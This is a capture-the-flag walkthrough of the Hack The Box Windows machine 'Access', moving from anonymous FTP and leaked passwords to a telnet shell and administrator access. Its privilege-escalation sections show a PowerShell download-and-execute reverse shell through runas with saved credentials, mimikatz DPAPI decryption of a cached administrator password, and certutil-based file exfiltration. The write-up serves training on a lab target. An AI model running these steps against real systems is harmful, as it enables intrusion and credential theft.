Access was an easy Windows box, which is really nice to have around, since it’s hard to find places for beginners on Windows. And, unlike most Windows boxes, it didn’t involve SMB. I’ll start using anonymous FTP access to get a zip file and an Access database. I’ll use command line tools to find a password in the database that works for the zip file, and find an Outlook mail file inside. I’ll read the email to find the password for an account on the box, and connect with telnet. From there, I’ll take advantage of cached administrator credentials two different ways to get root.txt. In Beyond Root, I’ll look at ways to get more details out of lnk files, both with PowerShell and pylnker.

Box Details

Name: Access
Release Date: 29 Sep 2018
Retire Date: 23 Feb 2019
OS: Windows
Base Points: Easy [20]
Rated Difficulty:
Radar Graph:
m0noc 00 days, 00 hours, 11 mins, 58 seconds
phra 00 days, 01 hours, 55 mins, 30 seconds
Creator: egre55



nmap shows ftp, telnet, and http open. None of the typically Windows ports.

root@kali# nmap -sT -p- --min-rate 5000 -oA nmap/alltcp
Starting Nmap 7.70 ( ) at 2018-10-22 06:41 EDT
Nmap scan report for
Host is up (0.019s latency).
Not shown: 65532 filtered ports
21/tcp open  ftp
23/tcp open  telnet
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 26.51 seconds

root@kali# nmap -sV -sC -p 21,23,80 -oA nmap/scripts
Starting Nmap 7.70 ( ) at 2018-10-22 06:43 EDT
Nmap scan report for
Host is up (0.020s latency).

21/tcp open  ftp     Microsoft ftpd
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 150.76 seconds

Based on the IIS version, I can guess that this is likely Windows 7 or Windows 2008 R2.

Website - port 80


The site just gives an image:



root@kali# gobuster -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x asp,aspx,txt

Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 20
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : aspx,txt,asp
[+] Timeout      : 10s
2018/10/22 06:46:45 Starting gobuster
2018/10/22 07:02:18 Finished

Nothing interesting. Time to move on.

FTP - Port 21

Since FTP allows anonymous connections, I’ll connect and see what’s there:

root@kali# ftp
Connected to
220 Microsoft FTP Service
Name ( anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  09:16PM       <DIR>          Backups
08-24-18  10:00PM       <DIR>          Engineer
226 Transfer complete.
ftp> cd Backups
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  09:16PM              5652480 backup.mdb
226 Transfer complete.
ftp> bin
200 Type set to I.
ftp> get backup.mdb
local: backup.mdb remote: backup.mdb
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
5652480 bytes received in 1.68 secs (3.2076 MB/s)
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  09:16PM              5652480 backup.mdb
226 Transfer complete.
ftp> cd ../Engineer
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18  01:16AM                10870 Access
226 Transfer complete.
ftp> get Acc*
local: Acc* remote: Acc*
200 PORT command successful.
550 The filename, directory name, or volume label syntax is incorrect.
ftp> get "Access"
local: Access remote: Access
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.

So two files, Access and backup.mdb

Shell as security


Since I’m looking for access to the machine, and the box is called Access, why not start with the zip. It contains one file, Access Control.pst:

root@kali# unzip -l Access\ 
Archive:  Access
  Length      Date    Time    Name
---------  ---------- -----   ----
   271360  2018-08-24 01:13   Access Control.pst
---------                     -------
   271360                     1 file

Unfortunately, zip chokes trying to open it:

root@kali# unzip Access\ 
Archive:  Access
   skipping: Access Control.pst      unsupported compression method 99

I can try 7z (which you can install with apt install p7zip-full), and it works, except now it needs a password, and I don’t have one:

root@kali# 7z x Access\ 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-7700 CPU @ 3.60GHz (906E9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)

Extracting archive: Access
Path = Access
Type = zip
Physical Size = 10870

Enter password (will not be echoed):
ERROR: Wrong password : Access Control.pst
Sub items Errors: 1

Archives with Errors: 1

Sub items Errors: 1

I could set up to try to brute force it, but I’ll go look for a password first.


The file is a Microsoft Access Database:

root@kali# file backup.mdb 
backup.mdb: Microsoft Access Database

There are many ways to open the file. Go to Windows and open in Access. Use a site like I like command line, so I’m going to use mdbtools. Install with apt install mdbtools. That installs several programs, which I can see by typing mdb- and then hitting tab twice:

root@kali# mdb-
mdb-array     mdb-export    mdb-header    mdb-hexdump   mdb-parsecsv  mdb-prop      mdb-schema    mdb-sql       mdb-tables    mdb-ver 

To start with backup.mdb, I’ll first list the tables:

root@kali# mdb-tables backup.mdb 
acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx 

There’s a ton. I need a good way to survey the database.

I’ll use mdb-export to dump the data from a given table. The first few I try to dump show the headers, but otherwise empty tables:

root@kali# mdb-export backup.mdb acc_antiback

root@kali# mdb-export backup.mdb acc_door

root@kali# mdb-export backup.mdb acc_firstopen

I’ll use a bash loop to go over the tables, and see which have data.

root@kali# mdb-tables backup.mdb | tr ' ' '\n' | grep . | while read table; do lines=$(mdb-export backup.mdb $table | wc -l); if [ $lines -gt 1 ]; then echo "$table: $lines"; fi; done
acc_timeseg: 2
acc_wiegandfmt: 12
ACGroup: 6
action_log: 25
areaadmin: 4
auth_user: 4
deptadmin: 8
LeaveClass: 4
LeaveClass1: 16
personnel_area: 2
ACUnlockComb: 11
AttParam: 20
auth_group: 2
SystemLog: 2

To break that down, I run the same tables command I ran above. Then I replace spaces with new lines, and use grep . to get non-empty lines. I pipe that into a while read loop. For each table, I run mdb-export and pipe the result into wc -l. For empty tables, that will be 1. Then I check if the number of lines is greater than 1, and if so, echo the table name and the number of lines.

Looking through the data in these tables, I see the auth_user table. It has a password field:

root@kali# mdb-export backup.mdb auth_user
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

I’ll need to note both “admin” and “access4u@security” as passwords.

Access Control.pst

“access4u@security” works to unzip the file:

root@kali# 7z x Access\

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-7700 CPU @ 3.60GHz (906E9),ASM,AES-NI)                                                                                   

Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)

Extracting archive: Access
Path = Access
Type = zip
Physical Size = 10870

Enter password (will not be echoed):
Everything is Ok

Size:       271360
Compressed: 10870

I now have an Outlook email folder file:

root@kali# file Access\ Control.pst 
Access Control.pst: Microsoft Outlook email folder (>=2003)

Like the database, there are many ways to get to this data. I’ll convert it to mbox format using readpst (apt install readpst):

root@kali# readpst Access\ Control.pst
Opening PST file and indexes...
Processing Folder "Deleted Items"
        "Access Control" - 2 items done, 0 items skipped.

Now I have Access Control.mbox. mbox is a plain text format. I can open it with less and look around. I can grep through it for keywords. If there’s a lot of email, I can use a command line email client like mutt to look at it. In this case, there is only one email, so just using cat or less would be easy. But I’ll show you mutt in case you had to deal with a mbox with 100s of emails.

I’ll show this as a video. I’ll open the file using mutt -Rf Access\ Control.mbox where -R opens it read-only (I don’t want to modify the file) and -f identifies the file to read from. I’ll answer a couple prompts (no I don’t want to create /root/Mail, yes remove the lock), and end up at the folder of emails (in this case, one). I can use arrow keys to move to the email I want, and press enter to view it. q gets back to the folder, and q again quits.

The email does have the password for the security account:

Hi there,

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.                                                                                          



Shell Via Telnet

As telnet was open, I’ll connect, and use the password from the email. I get a shell:

root@kali# telnet
Connected to
Escape character is '^]'.
Welcome to Microsoft Telnet Service 

login: security

Microsoft Telnet Server.

And from there user.txt:

C:\Users\security\Desktop>type user.txt

Privesc To Administrator


On the host, I’ll need to find that there are stored credentials for the administrator. There are two things that could tip me off to that. First, I could check the Public folder, and find a link file on the desktop:

C:\Users\Public>cd desktop

 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\Public\Desktop

08/22/2018  10:18 PM             1,870 ZKAccess3.5 Security System.lnk
               1 File(s)          1,870 bytes
               0 Dir(s)  16,682,262,528 bytes free

.lnk files are a binary format, but if I type it, I can see the strings:

C:\Users\Public\Desktop>type "ZKAccess3.5 Security System.lnk"
LF@ 7#P/PO :+00/C:\R1M:Windows:M:*wWindowsV1MVSystem32:MV*System32X2P:
                                                                       runas.exe:1:1*Yrunas.exeL-KEC:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%
wN]ND.Q`Xaccess_8{E3Oj)H)ΰ[_8{E3Oj)H)ΰ[  1SPSXFL8C&me*S-1-5-21-953262931-566350628-63446256-500

I’m particularly interested in:

C:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred

It’s a bit jumbled, but I see that it’s calling runas and using the /savedcred flag. That suggests to me that creds are cached for the Administrator account. I’ve got all I need here, but it is possible to do a better examination of the lnk file, and I’ll do so in Beyond Root.

To check that assumption, or just as part of enumeration before finding the link file, I can run cmdkey /list:

C:\Users\security>cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=ACCESS\Administrator
    Type: Domain Password
    User: ACCESS\Administrator

Knowing that the administrator credentials are cached, there’s two ways to use them.

Privesc #1 - Use runas

For people used to Linux environments, runas can be quite frustrating. It doesn’t let you just switch users in the same terminal like su or sudo. It opens a new process in a new window. So I can’t do things like runas type \users\administrator\desktop\root.txt and expect to see the results. I could have it copy that file to something I could read. But more fun, I can just get a shell.

Get Nishang

Since this is an easier box, I’ll walk through this in detail free free to skip to the last bit of this section if you’re familiar already.

First, I’ll clone a copy of Nishang from github if I don’t already have it.

root@kali:/opt# git clone
Cloning into 'nishang'...
remote: Enumerating objects: 1660, done.
remote: Total 1660 (delta 0), reused 0 (delta 0), pack-reused 1660
Receiving objects: 100% (1660/1660), 6.62 MiB | 776.00 KiB/s, done.
Resolving deltas: 100% (1040/1040), done.

I’ll make a www directory to serve from, and I’ll grab a copy of the shell I’m going to use:

root@kali:/opt# mkdir ~/www
root@kali:/opt# cp nishang/Shells/Invoke-PowerShellTcp.ps1 ~/www/

Prep Shell

If I open up the PowerShell script and look at the usage, I’ll see that I want to do a reverse shell, so something like this:

PS > Invoke-PowerShellTcp -Reverse -IPAddress -Port 4444

I’m going to have the Access box iex this script. As it is by default, that will just load all the functions in this script into the current PowerShell session. But I want to actually run one of those function. So I’ll add that line to the bottom of the script:

root@kali:~/www# tail Invoke-PowerShellTcp.ps1 
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_

Invoke-PowerShellTcp -Reverse -IPAddress -Port 443

Serve Shell

Now I need to serve the shell so that I can get it from Access. I’ll use the http.server module in python3 (that’s the same as the SimpleHTTPServer module in python2, but I don’t like having to hit shift and it’s fewer characters).

I’ll simply start the module, and now I’m serving the current directory over http on the given port:

root@kali:~/www# python3 -m http.server 80
Serving HTTP on port 80 ( ...

This is why I created a new directory to serve out of. Anyone on the HTB network can access this page now and the files it’s serving. I don’t want my notes or other files available.

I can check that the server is working with my browser:


I can see those requests in the terminal as well:

root@kali:~/www# python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [14/Feb/2019 09:53:11] "GET / HTTP/1.1" 200 - - - [14/Feb/2019 09:53:11] code 404, message File not found - - [14/Feb/2019 09:53:11] "GET /favicon.ico HTTP/1.1" 404 -

Start nc

The PowerShell shell is going to connect back to me on port 443 (as I specified when I added the function call to the end of the file). I’ll start a nc listener:

root@kali# nc -lnvp 443
Ncat: Version 7.70 ( )
Ncat: Listening on :::443
Ncat: Listening on


Now I’ll use my telnet shell to execute:

C:\Users\security\AppData\Local\Temp>runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('')"

(new-object net.webclient).downloadstring('') will generate a web request for the given url and return the text. iex will execute that result as PowerShell.

I see the callback in my nc window:

root@kali# nc -lnvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 49164
Windows PowerShell running as user Administrator on ACCESS
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami

From there I can grab root.txt:

PS C:\users\administrator\desktop> dir

    Directory: C:\users\administrator\desktop

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         8/21/2018  11:07 PM         32 root.txt

PS C:\users\administrator\desktop> type root.txt

Privesc #2 - dpapi creds

As the creds are cached, I can extract them. harmj0y has a good write-up on this.

Collect Files

I’ll grab two binary files from windows host, the master key and credentials file.

First, I’ll find the master key:

C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001>dir /a
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001

12/11/2018  04:47 PM    <DIR>          .
12/11/2018  04:47 PM    <DIR>          ..
08/22/2018  09:18 PM               468 0792c32e-48a5-4fe3-8b43-d93d64590580
08/22/2018  09:18 PM                24 Preferred
               2 File(s)            492 bytes
               2 Dir(s)  16,764,465,152 bytes free

Next I’ll use certutil to base64 encode it:

C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001>certutil -encode 0792c32e-48a5-4fe3-8b43-d93d64590580 output                                                                                                    
Input Length = 468
Output Length = 700
CertUtil: -encode command completed successfully.

C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001>type output

C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001>del output

I’ll paste that base64 text into a file on my machine, and decode it:

root@kali# cat masterkey.b64 | base64 -d > masterkey

I’ll do the same thing for the credentials file:

C:\Users\security\AppData\Roaming\Microsoft\Credentials>dir /a
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\security\AppData\Roaming\Microsoft\Credentials

08/22/2018  09:18 PM    <DIR>          .
08/22/2018  09:18 PM    <DIR>          ..
08/22/2018  09:18 PM               538 51AB168BE4BDB3A603DADE4F8CA81290
               1 File(s)            538 bytes
               2 Dir(s)  16,764,465,152 bytes free

C:\Users\security\AppData\Roaming\Microsoft\Credentials>certutil -encode 51AB168BE4BDB3A603DADE4F8CA81290 output
Input Length = 538
Output Length = 800
CertUtil: -encode command completed successfully.

C:\Users\security\AppData\Roaming\Microsoft\Credentials>type output

C:\Users\security\AppData\Roaming\Microsoft\Credentials>del output
root@kali# cat credentials.b64 | base64 -d > credentials

Decrypt Master Key

I’ll move to a Windows host, and fire up mimikatz. I’ll use the dpapi::masterkey command to decrypt the master key using the password from the security account:

  .#####.   mimikatz 2.1.1 (x64) #17763 Dec  9 2018 23:56:50
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( )
 ## \ / ##       >
 '## v ##'       Vincent LE TOUX             ( )
  '#####'        > /   ***/

mimikatz # dpapi::masterkey /in:\users\0xdf\desktop\masterkey /sid:S-1-5-21-9532
62931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller
  dwVersion          : 00000002 - 2
  szGuid             : {0792c32e-48a5-4fe3-8b43-d93d64590580}
  dwFlags            : 00000005 - 5
  dwMasterKeyLen     : 000000b0 - 176
  dwBackupKeyLen     : 00000090 - 144
  dwCredHistLen      : 00000014 - 20
  dwDomainKeyLen     : 00000000 - 0
    dwVersion        : 00000002 - 2
    salt             : 9c51ca4d00708c73d4fbff60b95e549e
    rounds           : 000043f8 - 17400
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : e78fb1d989c4ccd7a05285c17fae1c31ad1210f7ada051ae3203536df

    dwVersion        : 00000002 - 2
    salt             : 4bb6dd9b5b9656d97b78f114796457f4
    rounds           : 000043f8 - 17400
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : 0fe6b3aa5dd3af46bd7a87cbc0161fc41ae13f8714a22bcb5bda86f24

    dwVersion        : 00000003 - 3
    guid             : {009668e5-9305-401b-ba0d-dfa0e11b34d0}

[masterkey] with password: 4Cc3ssC0ntr0ller (normal user)
  key : b360fa5dfea278892070f4d086d47ccf5ae30f7206af0927c33b13957d44f0149a128391
  sha1: bf6d0654ef999c3ad5b09692944da3c0d0b68afe

Decrypt Credential

I’ll use that master key to decrypt the credential file. mimikatz is smart enough to use the master key that is held in memory from previous instruction, but I can also explicitly pass it with /masterkey:b360fa5d...

mimikatz # dpapi::cred /in:\users\0xdf\desktop\credentials
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {0792c32e-48a5-4fe3-8b43-d93d64590580}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 0000003a - 58
  szDescription      : Enterprise Credential Data

  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : f5bbbac240bd90d9af7d3c2cfb7f301f1f123ac94d07a3cc012038135
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : f9642d323fae366a4f7293d02f26e4472adc32b00bac6a061914458da
  dwDataLen          : 00000100 - 256
  pbData             : e73542ff71d08529f9da5ff88edcd5be44d11c9c02c45fdfd9ee5a531
  dwSignLen          : 00000040 - 64
  pbSign             : 63fcc153bcd60befd074a5098ea0e552f8809562c553985baa8720a82

Decrypting Credential:
 * volatile cache: GUID:{0792c32e-48a5-4fe3-8b43-d93d64590580};KeyHash:bf6d0654e
  credFlags      : 00000030 - 48
  credSize       : 000000f4 - 244
  credUnk0       : 00002004 - 8196

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 8/22/2018 9:18:49 PM
  unkFlagsOrSize : 00000038 - 56
  Persist        : 00000003 - 3 - enterprise
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:interactive=ACCESS\Administrator
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : ACCESS\Administrator
  CredentialBlob : 55Acc3ssS3cur1ty@megacorp
  Attributes     : 0

Here’s that entire process:

Telnet as Administrator

Now that I have the password for the Administrator account, I can telnet and get root.txt:

root@kali# telnet
Connected to
Escape character is '^]'.
Welcome to Microsoft Telnet Service 

login: administrator

Microsoft Telnet Server.
C:\Users\Administrator>cd desktop

C:\Users\Administrator\Desktop>type root.txt

Beyond Root - Examining lnk Files

I found an link file on the desktop above, and I was able to get all I needed out of it using strings. But if I wanted to do a more complete examination of the file, there’s a couple ways that I could do that. PowerShell provides an interface thatcan dump the details. Or I could bring it back and look at it on my local machine. This will prove useful in another HTB machine that’s still active.


Getting PowerShell From Telnet

First, I’ll get PowerShell running over my telnet session. If I just run powershell, I get a terminal that kind of works, but isn’t pretty:

Windows PowerShell 
                   Copyright (C) 2009 Microsoft Corporation. All rights reserved.


But, I can get a full session with powershell -File -:

C:\Users\Public\Desktop>powershell -File -
PS C:\Users\Public\Desktop> whoami
PS C:\Users\Public\Desktop> $env:os

Lnk Details

From PowerShell, I’ll create a WSCript shell, and load the lnk file into it:

PS C:\Users\Public\Desktop> $WScript = New-Object -ComObject WScript.Shell
PS C:\Users\Public\Desktop> $SC = Get-ChildItem *.lnk
PS C:\Users\Public\Desktop> $WScript.CreateShortcut($sc)

FullName         : C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk
Arguments        : /user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"
Description      : 
Hotkey           : 
IconLocation     : C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico,0
RelativePath     : 
TargetPath       : C:\Windows\System32\runas.exe
WindowStyle      : 1
WorkingDirectory : C:\ZKTeco\ZKAccess3.5

I could also do this as a one-liner without a full PowerShell:

C:\Users\Public\Desktop>powershell -c "$WScript = New-Object -ComObject WScript.Shell; $SC = Get-ChildItem *.lnk; $WScript.CreateShortcut($sc)"

FullName         : C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk
Arguments        : /user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"
Description      : 
Hotkey           : 
IconLocation     : C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico,0
RelativePath     : 
TargetPath       : C:\Windows\System32\runas.exe
WindowStyle      : 1
WorkingDirectory : C:\ZKTeco\ZKAccess3.5


Exfil the File

First, I’ll get the file using the same certutil base64 trick. I’ll need to write somewhere, so I’ll write to my current user’s AppData temp dir:

C:\Users\Public\Desktop>certutil -encode "ZKAccess3.5 Security System.lnk" -
Input Length = 1870
EncodeToFile returned Access is denied. 0x80070005 (WIN32: 5)
CertUtil: -encode command FAILED: 0x80070005 (WIN32: 5)
CertUtil: Access is denied.

C:\Users\Public\Desktop>certutil -encode "ZKAccess3.5 Security System.lnk" \users\security\appdata\local\temp\output
Input Length = 1870
Output Length = 2630
CertUtil: -encode command completed successfully.

C:\Users\Public\Desktop>type \users\security\appdata\local\temp\output

I’ll paste that base64 string into a file, and decode it:

root@kali# base64 -d lnk.b64 > lnk


HarmJ0y has a neat tool on his GitHub called pylnker that parses lnk files. I’ll use that to check out the lnk file:

root@kali# python /opt/pylnker/ lnk
out:  Lnk File: lnk
File Attributes: ARCHIVE
Create Time:   2009-07-13 19:25:32.986366
Access Time:   2009-07-13 19:25:32.986366
Modified Time: 2009-07-13 21:39:31.417999
Target length: 20480
Icon Index: 0
HotKey: 0
Target is on local volume
Volume Type: Fixed (Hard Disk)
Volume Serial: 9c45dbf0
Vol Label:
Base Path: C:\Windows\System32\runas.exe
(App Path:) Remaining Path:
Relative Path: ..\..\..\Windows\System32\runas.exe
Working Dir: C:\ZKTeco\ZKAccess3.5
Command Line: /user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"
Icon filename: C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico

Pretty neat way to see all the details of the file without Windows.